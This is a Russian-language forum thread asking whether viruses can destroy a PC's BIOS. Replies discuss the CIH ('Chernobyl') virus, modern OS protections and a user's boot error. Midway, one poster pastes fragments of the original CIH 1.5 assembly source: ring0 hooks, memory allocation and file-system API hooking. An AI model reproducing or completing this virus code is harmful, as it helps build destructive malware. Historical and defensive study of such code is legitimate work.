Показать полную графическую версию : Есть ли вирусы который портят БИОС
Подскажите есть ли такие вирусы ?
Более корректный ответ — они были (http://ru.wikipedia.org/wiki/CIH) и могут быть (http://www.v3.co.uk/vnunet/news/2239320/bios-attack-renders-antivirus).
Нужно отметить, что для такого вируса необходимы администраторские привилегии.
———
Upd: ребят, вы отвечая — ответы выше читаете :) ?
CrOsP, такой вирус был - "Чернобыль".
Сейчас такого вроде нет:
1) Из NT-систем (XP, Vista) прямой доступ к оборудованию запрещен (хотя... насколько я знаю, есть прошивальщики BIOS для NT-систем.
2) В современных материнских платах есть система восстановления и материнскую плату можно восстановить, зачастую для этого нужно просто вставить диск из ее комплекта
3) Современные вирусы больше ориентированы на получение конфиденциальной информации или деньги. Сейчас редко вирусы, которые ломают компьютер, кто-то пишет
Вообще-то, я думаю, в теории, можно и написать вирус, сжигающий компьютер.
Ведь есть же утилиты для программного разгона видеокарты...
Просто это никому не нужно.
1) Из NT-систем (XP, Vista) прямой доступ к оборудованию запрещен (хотя... насколько я знаю, есть прошивальщики BIOS для NT-систем. »
Прошивал свой BIOS с помощью подобной утилитки от производителя материнской платы из под Windows XP :)
У меня на том компе очень много вирусов , я вот и подумал , тот комп доисторический , просто часто вкл камп , а оно пишет DISK FAILURE....
такой вирус был - "Чернобыль". »Я в книге давно читал, что этот вирус портит 1 мегабайт файловой таблицы. Но вот как раз специально прочитал о нём - Virus.Win9x.CIH (http://ru.wikipedia.org/wiki/CIH), умеет перезатирать BIOS. :yes:
Red Caption
25-01-2010, 19:31
Если речь идет о CIH 95 то могу принести маленький пример на асме из оригинального кода :cool:
Designer : CIH Source : TTIT of TATUNG in Taiwan *
; * Create Date : 04/26/1998 E-mail : WinCIH.Tatung@usa.net *
; * Modification Time : 06/01/1998 Version : 1.5 *
; * *
; * Turbo Assembler Version 5.0 : Tasm /m cih *
; * Turbo Link Version 5.01 : Tlink /3 /t cih, cih.exe
pop ebp
push 00401000h ; Push Original
OriginalAddressOfEntryPoint = $-4 ; App Entry Point to Stack
ret ; Return to Original App Entry Point
; *********************************************************
; * Ring0 Virus Game Initial Program *
; *********************************************************
MyExceptionHook:
@2 = MyExceptionHook
jz InstallMyFileSystemApiHook
; *************************************
; * Do My Virus Exist in System !? *
; *************************************
mov ecx, dr0
jecxz AllocateSystemMemoryPage
add dword ptr [esp], ReadyRestoreSE-ReturnAddressOfEndException
; *************************************
; * Return to Ring3 Initial Program *
; *************************************
ExitRing0Init:
mov [ebx-04h], bp ;
shr ebp, 16 ; Restore Exception
mov [ebx+02h], bp ;
iretd
; *************************************
; * Allocate SystemMemory Page to Use *
; *************************************
AllocateSystemMemoryPage:
mov dr0, ebx ; Set the Mark of My Virus Exist in System
push 00000000fh ;
push ecx ;
push 0ffffffffh ;
push ecx ;
push ecx ;
push ecx ;
push 000000001h ;
push 000000002h ;
int 20h ; VMMCALL _PageAllocate
_PageAllocate = $ ;
dd 00010053h ; Use EAX, ECX, EDX, and flags
add esp, 08h*04h
xchg edi, eax ; EDI = SystemMemory Start Address
lea eax, MyVirusStart-@2[esi]
iretd ; Return to Ring3 Initial Program
; *************************************
; * Install My File System Api Hook *
; *************************************
InstallMyFileSystemApiHook:
lea eax, FileSystemApiHook-@6[edi]
push eax ;
int 20h ; VXDCALL IFSMgr_InstallFileSystemApiHook
IFSMgr_InstallFileSystemApiHook = $
dd 00400067h ; Use EAX, ECX, EDX, and flags
mov dr0, eax ; Save OldFileSystemApiHook Address
pop eax ; EAX = FileSystemApiHook Address
; Save Old IFSMgr_InstallFileSystemApiHook Entry Point
mov ecx, IFSMgr_InstallFileSystemApiHook-@2[esi]
mov edx, [ecx]
mov OldInstallFileSystemApiHook-@3[eax], edx
; Modify IFSMgr_InstallFileSystemApiHook Entry Point
lea eax, InstallFileSystemApiHook-@3[eax]
mov [ecx], eax
cli
jmp ExitRing0Init
; *********************************************************
; * Code Size of Merge Virus Code Section *
; *********************************************************
CodeSizeOfMergeVirusCodeSection = offset $
; *********************************************************
; * IFSMgr_InstallFileSystemApiHook *
; *********************************************************
InstallFileSystemApiHook:
push ebx
call @4 ;
@4: ;
pop ebx ; mov ebx, offset FileSystemApiHook
add ebx, FileSystemApiHook-@4 ;
push ebx
int 20h ; VXDCALL IFSMgr_RemoveFileSystemApiHook
IFSMgr_RemoveFileSystemApiHook = $
dd 00400068h ; Use EAX, ECX, EDX, and flags
pop eax
; Call Original IFSMgr_InstallFileSystemApiHook
; to Link Client FileSystemApiHook
push dword ptr [esp+8]
call OldInstallFileSystemApiHook-@3[ebx]
pop ecx
push eax
; Call Original IFSMgr_InstallFileSystemApiHook
; to Link My FileSystemApiHook
push ebx
call OldInstallFileSystemApiHook-@3[ebx]
pop ecx
mov dr0, eax ; Adjust OldFileSystemApiHook Address
pop eax
pop ebx
ret
DISK FAILURE »
Я не специалист по "железу", но я думаю, это может быть проблема с жестким диском.
DISK FAILURE.... »
Возможно повреждена основная загрузочная запись (MBR) жесткого диска, пишет только это? Это полное сообщение? :)
© OSzone.net 2001-2012
vBulletin v3.6.4, Copyright ©2000-2025, Jelsoft Enterprises Ltd.